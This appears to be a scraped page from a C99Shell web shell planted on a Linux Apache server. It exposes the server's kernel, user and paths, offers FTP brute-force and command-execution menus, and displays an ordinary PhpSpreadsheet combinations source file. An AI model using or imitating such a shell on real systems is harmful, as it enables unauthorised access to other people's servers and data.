!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/   drwxr-xr-x
Free 13.12 GB of 57.97 GB (22.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Combinations.php (3.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig;

use 
PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled;
use 
PhpOffice\PhpSpreadsheet\Calculation\Exception;

class 
Combinations
{
    use 
ArrayEnabled;

    
/**
     * COMBIN.
     *
     * Returns the number of combinations for a given number of items. Use COMBIN to
     *        determine the total possible number of groups for a given number of items.
     *
     * Excel Function:
     *        COMBIN(numObjs,numInSet)
     *
     * @param mixed $numObjs Number of different objects, or can be an array of numbers
     * @param mixed $numInSet Number of objects in each combination, or can be an array of numbers
     *
     * @return array|float|int|string Number of combinations, or a string containing an error
     *         If an array of numbers is passed as the argument, then the returned result will also be an array
     *            with the same dimensions
     */
    
public static function withoutRepetition($numObjs$numInSet)
    {
        if (
is_array($numObjs) || is_array($numInSet)) {
            return 
self::evaluateArrayArguments([self::class, __FUNCTION__], $numObjs$numInSet);
        }

        try {
            
$numObjs Helpers::validateNumericNullSubstitution($numObjsnull);
            
$numInSet Helpers::validateNumericNullSubstitution($numInSetnull);
            
Helpers::validateNotNegative($numInSet);
            
Helpers::validateNotNegative($numObjs $numInSet);
        } catch (
Exception $e) {
            return 
$e->getMessage();
        }

        return 
round(Factorial::fact($numObjs) / Factorial::fact($numObjs $numInSet)) / Factorial::fact($numInSet); // @phpstan-ignore-line
    
}

    
/**
     * COMBINA.
     *
     * Returns the number of combinations for a given number of items. Use COMBIN to
     *        determine the total possible number of groups for a given number of items.
     *
     * Excel Function:
     *        COMBINA(numObjs,numInSet)
     *
     * @param mixed $numObjs Number of different objects, or can be an array of numbers
     * @param mixed $numInSet Number of objects in each combination, or can be an array of numbers
     *
     * @return array|float|int|string Number of combinations, or a string containing an error
     *         If an array of numbers is passed as the argument, then the returned result will also be an array
     *            with the same dimensions
     */
    
public static function withRepetition($numObjs$numInSet)
    {
        if (
is_array($numObjs) || is_array($numInSet)) {
            return 
self::evaluateArrayArguments([self::class, __FUNCTION__], $numObjs$numInSet);
        }

        try {
            
$numObjs Helpers::validateNumericNullSubstitution($numObjsnull);
            
$numInSet Helpers::validateNumericNullSubstitution($numInSetnull);
            
Helpers::validateNotNegative($numInSet);
            
Helpers::validateNotNegative($numObjs);
            
$numObjs = (int) $numObjs;
            
$numInSet = (int) $numInSet;
            
// Microsoft documentation says following is true, but Excel
            //  does not enforce this restriction.
            //Helpers::validateNotNegative($numObjs - $numInSet);
            
if ($numObjs === 0) {
                
Helpers::validateNotNegative(-$numInSet);

                return 
1;
            }
        } catch (
Exception $e) {
            return 
$e->getMessage();
        }

        return 
round(
            
Factorial::fact($numObjs $numInSet 1) / Factorial::fact($numObjs 1// @phpstan-ignore-line
        
) / Factorial::fact($numInSet);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--